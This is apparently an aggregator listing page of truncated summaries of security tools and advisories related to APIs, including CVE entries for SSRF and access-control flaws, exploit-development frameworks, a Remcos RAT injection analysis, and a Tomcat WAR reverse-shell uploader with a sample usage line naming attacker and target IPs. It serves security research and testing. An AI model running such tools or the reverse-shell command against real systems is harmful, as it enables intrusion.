Astra

Astra Las pruebas de penetración de API REST son complejas debido a los cambios continuos en las API existentes y las API recién agregadas. Astra puede ser utilizado por ingenieros de seguridad o desarrolladores como parte integral de su proceso, permitiéndoles detectar y corregir vulnerabilidade...

Astra

Astra REST API penetration testing is complex due to continuous changes in existing APIs and newly added APIs. Astra can be used by security engineers or developers as an integral part of their process, so they can detect and patch vulnerabilities early during development cycle. Astra can...

HellRaiser

HellRaiser Vulnerability Scanner Install HellRaiser depends on cve-search API. Have a cve-search API running and add the address in config/config.yml on cvesearchapidomain field. Install ruby 2.7.2, bundler 1.17.3 and rails. https://gorails.com/setup/ubuntu/20.04 Install redis-server and nmap...

CVE-2021-41805

CVE-2021-41805 Hashicorp Consul RCE via API HashiCorp Consul Enterprise before 1.8.17, 1.9.x before 1.9.11, and 1.10.x before 1.10.4 has Incorrect Access Control. An ACL token with the default operator:write permissions in one namespace can be used for unintended privilege escalation in a differe...

stretcher

Stretcher Stretcher es una herramienta para buscar servidores Elasticsearch abiertos. root@kitploit: Usage: python stretcher.py --shodan key --action analyze --threads 0..100 --dork python stretcher.py --help / // / / // / \ / / / / / / / / / / / // / / / // // / / / / / //// //// ////...

PowerGram

PowerGram PowerGram es un Bot de Telegram puro de PowerShell que puede ejecutarse en Windows, Linux o Mac OS. Para usarlo, solo necesitas PowerShell 4 o superior y una conexión a Internet. Toda la comunicación entre el Bot y los servidores de Telegram está cifrada con HTTPS, pero todas las...

CVE-2026-100893 Privoce VoceChat Server open_graphic_parse Endpoint resource.rs fetch server-side request forgery

A vulnerability was determined in Privoce VoceChat Server up to 0.5.36. This vulnerability affects the function opengraph::fetch of the file src/api/resource.rs of the component opengraphicparse Endpoint. Executing a manipulation of the argument url can lead to server-side request forgery. The...

CVE-2026-100893

A server-side request forgery (SSRF) vulnerability exists in Privoce VoceChat Server up to version 0.5.36 . The flaw is located in the open_graphic_parse Endpoint within the src/api/resource.rs file, specifically affecting the open_graph::fetch function. An attacker can remotely trigger the vulne...

EUVD-2026-88057

A vulnerability was determined in Privoce VoceChat Server up to 0.5.36. This vulnerability affects the function opengraph::fetch of the file src/api/resource.rs of the component opengraphicparse Endpoint. Executing a manipulation of the argument url can lead to server-side request forgery. The...

-Remcos-RAT-Fileless-svchost-Injection-Obfuscated-Payload-Analysis-

1. Remcos – svchost Injection via Native API Calls The following Binary Ninja snippet reveals the core injection mechanism used by Remcos to inject its payload into svchost.exe. What This Code Does: CreateProcessW with the CREATESUSPENDED flag starts a new svchost process in a suspended state...

censys-enumeration

Censys Enumeration A script to extract subdomains/emails for a given domain using SSL/TLS certificates dataset on Censys The output is in JSON format Demo Screenshots Non verbose mode Verbose mode Sample JSON output 3rd party package dependency censys click Setup Clone this repo root@kitploit: $...

CVE-2021-22201

CVE-2021-22201 CVE-2021–22201 Arbitrary file read on Gitlab 13.9.0 = Gitlab 13.9.5 Usage python CVE-2021-22201.py url username password 参考 CVE-2021–22201: Arbitrary file read on Gitlab | by Son Nguy3n | Jun, 2021 | tradahacking Project import/export API | GitLab 1132378 Arbitrary file read during...

CVE-2023-27163-POC

CVE-2023-27163 CVE-2023-27163 Request-baskets up to v1.2.1 was discovered to contain a Server-Side Request Forgery SSRF via the component /api/baskets/name. This vulnerability allows attackers to access network resources and sensitive information via a crafted API request. This POC utilizes the...

gef

GEF pronunciado ʤɛf - "Jeff" es un conjunto de comandos para x86/64, ARM, MIPS, PowerPC y SPARC para ayudar a desarrolladores de exploits e ingenieros inversos cuando usan el clásico GDB. Proporciona funcionalidades adicionales a GDB mediante la API de Python para asistir durante el proceso de...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

openapi_security_scanner

OpenAPI Security Scanner About The Project Authorization security issues in modern web applications could not be easily picked up by security scanners. A few examples from Shopify, LINE, NordVPN. One of the reasons is that the security scanners mainly looking for SQLi, XSS, RCE instead of looking...

openapi-parser

openapi-parser !UPDATE This extension has been updated to use the latest Burp Montoya Java API. The extension has undergone a complete overhaul to improve both its UI/UX and performance. These changes ensure that the extension is modern and optimised for use. openapi-parser is a extension designe...

HashCheck

PasswordHashCheck Este proyecto tiene como objetivo ayudar en la búsqueda de contraseñas filtradas manteniendo un alto nivel de privacidad utilizando el método de k-anonimato. Para lograrlo, se utilizan las API de diferentes servicios, enviando solo una parte del Hash de la contraseña que queremo...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // /...

DLLHSC

DLLHSC DLL Hijack SCanner: una herramienta para generar pistas y automatizar el descubrimiento de candidatos para el secuestro del orden de búsqueda de DLL Índice de esta página Contenido de este repositorio Modos de operación Guía de compilación y ejecución Menú de ayuda Ejemplos de ejecución...